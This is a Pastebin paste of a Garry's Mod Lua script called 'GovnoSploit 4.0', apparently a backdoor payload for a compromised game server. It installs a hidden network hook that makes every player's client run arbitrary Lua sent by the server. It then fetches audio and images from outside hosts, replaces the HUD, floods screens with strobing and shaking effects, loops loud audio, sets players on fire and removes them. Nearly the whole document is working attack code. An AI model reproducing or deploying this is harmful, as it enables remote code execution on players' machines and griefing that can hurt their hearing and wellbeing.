Advertisement
Guest User

Untitled

a guest
Jan 21st, 2020
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.76 KB | None | 0 0
  1. --[[
  2. File: ?.lua
  3. For: GovnoSploit 4.0
  4. By: bitcoin
  5. ]]--
  6.  
  7. util.AddNetworkString "slua"
  8.  
  9. local lol = {}
  10. function lol:RandomString( intMin, intMax )
  11. local ret = ""
  12. for _ = 1, math.random( intMin, intMax ) do
  13. ret = ret.. string.char( math.random(65, 90) )
  14. end
  15.  
  16. return ret
  17. end
  18.  
  19. lol.m_tblActions = {}
  20. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  21. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  22.  
  23. function lol:PushAction( intChainDelay, func )
  24. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  25. end
  26.  
  27. function lol:NextAction( pPlayer )
  28. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  29. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  30.  
  31. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  32. if not IsValid( pPlayer ) then return end
  33. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  34. self:NextAction( pPlayer )
  35. end )
  36. end
  37.  
  38. function lol:Start( pPlayer )
  39. pPlayer.m_intCurAction = 0
  40. self:NextAction( pPlayer )
  41. end
  42.  
  43. function lol:SendLua( pPlayer, strLua )
  44. net.Start( "slua" )
  45. net.WriteString( strLua )
  46. net.Send( pPlayer )
  47. end
  48.  
  49. function lol:SetupPlayer( pPlayer )
  50. pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  51. end
  52.  
  53. for k, v in pairs( player.GetAll() ) do
  54. lol:SetupPlayer( v )
  55. timer.Simple( 2, function() lol:Start( v ) end )
  56. end
  57.  
  58. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  59. lol:SetupPlayer( pPlayer )
  60. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  61. end )
  62.  
  63. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  64. if strText:sub( 1, 5 ) == "/1337" then
  65. pSender:Ignite( 1e9 )
  66. pSender:ChatPrint( "lol jk" )
  67. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  68. return false
  69. end
  70. end )
  71.  
  72.  
  73.  
  74. --Sequence stack
  75. --Start some tunes and steam in our assets
  76. lol:PushAction( 0, function( pPlayer )
  77. lol:SendLua( pPlayer, ([=[
  78. sound.PlayURL( "http://d.zaix.ru/gEsV.mp3", "", function()end )
  79.  
  80. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  81. local html = [[%s]]
  82. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  83. local pnl = vgui.Create( "HTML" )
  84. pnl:SetPos( ScrW() -1, ScrH() -1 )
  85. pnl:SetVisible( true )
  86. pnl:SetMouseInputEnabled( false )
  87. pnl:SetKeyBoardInputEnabled( false )
  88. pnl:SetSize( intSizeX, intSizeY )
  89. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  90.  
  91. local PageLoaded
  92. PageLoaded = function()
  93. local mat = pnl:GetHTMLMaterial()
  94. if mat then
  95. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  96. return
  97. end
  98.  
  99. timer.Simple( 0.5, PageLoaded )
  100. end
  101.  
  102. PageLoaded()
  103. end
  104.  
  105. LoadWebMaterial( "http://d.zaix.ru/gikZ.png", "hud1", 300, 128 )
  106. LoadWebMaterial( "http://www.underdone.org/leak/underdone/xhair.png", "xhair", 64, 64 )
  107. LoadWebMaterial( "http://d.zaix.ru/gXKj.png", "doritos", 183, 256 )
  108. LoadWebMaterial( "http://d.zaix.ru/gXKj.png", "fedora", 183, 256 )
  109. LoadWebMaterial( "http://d.zaix.ru/gXKj.png", "dew", 183, 256 )
  110. LoadWebMaterial( "http://d.zaix.ru/gXKj.png", "awp", 183, 256 )
  111. ]=]):format(lol.m_strImageLoadHTML) )
  112. end )
  113.  
  114. --HUD swap
  115. lol:PushAction( 31, function( pPlayer )
  116. lol:SendLua( pPlayer, [[
  117. (GAMEMODE or GM).CalcView = function() end
  118. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  119.  
  120. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  121. for k, v in pairs(remove) do
  122. hook.GetTable()[v] = {}
  123. end
  124.  
  125. local function GetWebMat( strURL )
  126. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  127. end
  128.  
  129. hook.Add( "HUDPaint", "newhud", function()
  130. surface.SetDrawColor( 255, 255, 255, 255 )
  131.  
  132. if GetWebMat( "hud1" ) then
  133. surface.SetMaterial( GetWebMat("hud1")[1] )
  134. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  135. end
  136. if GetWebMat( "hud2" ) then
  137. surface.SetMaterial( GetWebMat("hud2")[1] )
  138. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  139. end
  140. if GetWebMat( "hud3" ) then
  141. surface.SetMaterial( GetWebMat("hud3")[1] )
  142. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  143. end
  144. if GetWebMat( "xhair" ) then
  145. surface.SetMaterial( GetWebMat("xhair")[1] )
  146. surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
  147. end
  148.  
  149. if GetWebMat( "doritos" ) then
  150. surface.SetMaterial( GetWebMat("doritos")[1] )
  151. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  152. end
  153. if GetWebMat( "dew" ) then
  154. surface.SetMaterial( GetWebMat("dew")[1] )
  155. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(ScrH() -260, ScrH() -250), 110 *((256 /183) -1), 256, CurTime() *-512 )
  156. end
  157. if GetWebMat( "fedora" ) then
  158. surface.SetMaterial( GetWebMat("fedora")[1] )
  159. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(256 /183), 256, 256, CurTime() *-512 )
  160. end
  161. if GetWebMat( "awp" ) then
  162. surface.SetMaterial( GetWebMat("awp")[1] )
  163. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  164. end
  165.  
  166. draw.SimpleTextOutlined(
  167. "GOVNOSPLOIT 4.0 - БЭКДУРНЫЙ БАТЯ",
  168. "DermaLarge",
  169. ScrW() /2 +math.random( -8, 8 ),
  170. ScrH() /2 +math.random( -8, 8 ) +64,
  171. Color( 255, 0, 0, 255 ),
  172. TEXT_ALIGN_CENTER,
  173. TEXT_ALIGN_CENTER,
  174. 1,
  175. Color( 0, 0, 255, 255 )
  176. )
  177. end )
  178.  
  179. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  180. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  181.  
  182. surface.PlaySound( "garrysmod/save_load4.wav" )
  183. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  184. ]] )
  185. end )
  186.  
  187. --Disco time
  188. lol:PushAction( 10, function( pPlayer )
  189. local idx = pPlayer:EntIndex()
  190. timer.Create( "beat".. idx, 0.42, 0, function()
  191. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  192. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  193. end )
  194.  
  195.  
  196. lol:SendLua( pPlayer, [[
  197. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  198. local time = 0
  199.  
  200. hook.Add( "Think", "wat", function()
  201. if CurTime() < time then
  202. return
  203. end
  204.  
  205. time = CurTime() +0.05
  206. for i = 1, 16 do
  207. local part = emitter:Add(
  208. "particles/balloon_bit",
  209. LocalPlayer():GetPos() +Vector(
  210. math.random( -256, 256 ),
  211. math.random( -256, 256 ),
  212. 256
  213. )
  214. )
  215.  
  216. if part then
  217. local Size = math.random( 4, 7 )
  218.  
  219. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  220. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  221. part:SetDieTime( 4.5 )
  222. part:SetGravity( Vector(40, 0, -250) )
  223. part:SetLifeTime( 0 )
  224. part:SetStartSize( Size /2 )
  225. part:SetEndSize( Size )
  226. part:SetCollide( true )
  227. end
  228. end
  229. end )
  230. ]] )
  231.  
  232. lol:SendLua( pPlayer, [[
  233. hook.Add( "RenderScreenspaceEffects", "wat", function()
  234. local sinScaler = math.sin( CurTime() )
  235. DrawBloom(
  236. 0,
  237. 3,
  238. sinScaler *math.Rand(1, 8),
  239. sinScaler *math.Rand(1, 8),
  240. 6,
  241. math.Rand(0.5, 2),
  242. math.Rand(0, 0.3),
  243. math.Rand(0, 0.3),
  244. math.Rand(0.5, 1)
  245. )
  246.  
  247. DrawColorModify{
  248. ["$pp_colour_addr"] = 0,
  249. ["$pp_colour_addg"] = 0,
  250. ["$pp_colour_addb"] = 00,
  251. ["$pp_colour_brightness" ] = 0,
  252. ["$pp_colour_contrast" ] = 1,
  253. ["$pp_colour_colour" ] = 1,
  254. ["$pp_colour_mulr" ] = 0,
  255. ["$pp_colour_mulg" ] = 0,
  256. ["$pp_colour_mulb" ] = 1
  257. }
  258. end )
  259.  
  260. local mdl = ClientsideModel( "models/player/alyx.mdl", RENDERGROUP_BOTH )
  261. mdl:SetNoDraw( true )
  262. local posCache, time = {}, 0
  263.  
  264. hook.Add( "HUDPaint", "dance", function()
  265. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  266. local idx = mdl:LookupSequence("taunt_dance")
  267. mdl.SeqDuration = mdl:SequenceDuration( idx )
  268. mdl.SeqStart = CurTime()
  269. mdl:ResetSequence( idx )
  270. end
  271.  
  272. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  273.  
  274.  
  275. local w, h = 300, 300
  276. local ang = Angle( 0, 0, 0 )
  277.  
  278. for i = 1, 32 do
  279. if CurTime() > time then
  280. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  281. end
  282. local x, y = posCache[i][1], posCache[i][2]
  283.  
  284. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  285. cam.IgnoreZ( true )
  286. render.SuppressEngineLighting( true )
  287.  
  288. render.SetLightingOrigin( mdl:GetPos() )
  289. render.ResetModelLighting( 1, 1, 1 )
  290. render.SetColorModulation( 0, 0, 1 )
  291.  
  292. mdl:DrawModel()
  293.  
  294. render.SuppressEngineLighting( false )
  295. cam.IgnoreZ( false )
  296. cam.End3D()
  297. end
  298.  
  299. if CurTime() > time then
  300. time = CurTime() +0.15
  301. end
  302. end )
  303.  
  304. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  305. ]] )
  306. end )
  307.  
  308. --Let the beat drop
  309. lol:PushAction( 54, function( pPlayer )
  310. lol:SendLua( pPlayer, [[
  311. hook.Add( "GetMotionBlurValues", "wat", function()
  312. return 0, 0, 1, math.sin(CurTime() *13)
  313. end )
  314.  
  315. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  316. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  317. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  318. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  319. end )
  320.  
  321. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  322. render.SetMaterial( Material("cable/blue_elec") )
  323. for i = 1, 32 do
  324. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  325. end
  326. end )
  327.  
  328. timer.Create( "thedrop", 0.42, 0, function()
  329. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  330. end )
  331. ]] )
  332. end )
  333.  
  334. --EVIL TIME rip headpones
  335. lol:PushAction( 175, function( pPlayer )
  336. lol:SendLua( pPlayer, [[
  337. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  338.  
  339. local sounds = {}
  340. for i = 1, 4 do
  341. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  342. sounds[#sounds +1] = pChan
  343. end )
  344. end
  345.  
  346. timer.Create( "asdf", 1, 0, function()
  347. if #sounds ~= 4 then return end
  348. timer.Destroy( "asdf" )
  349. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  350. end )
  351.  
  352. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  353. ]] )
  354.  
  355. pPlayer:Remove()
  356. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement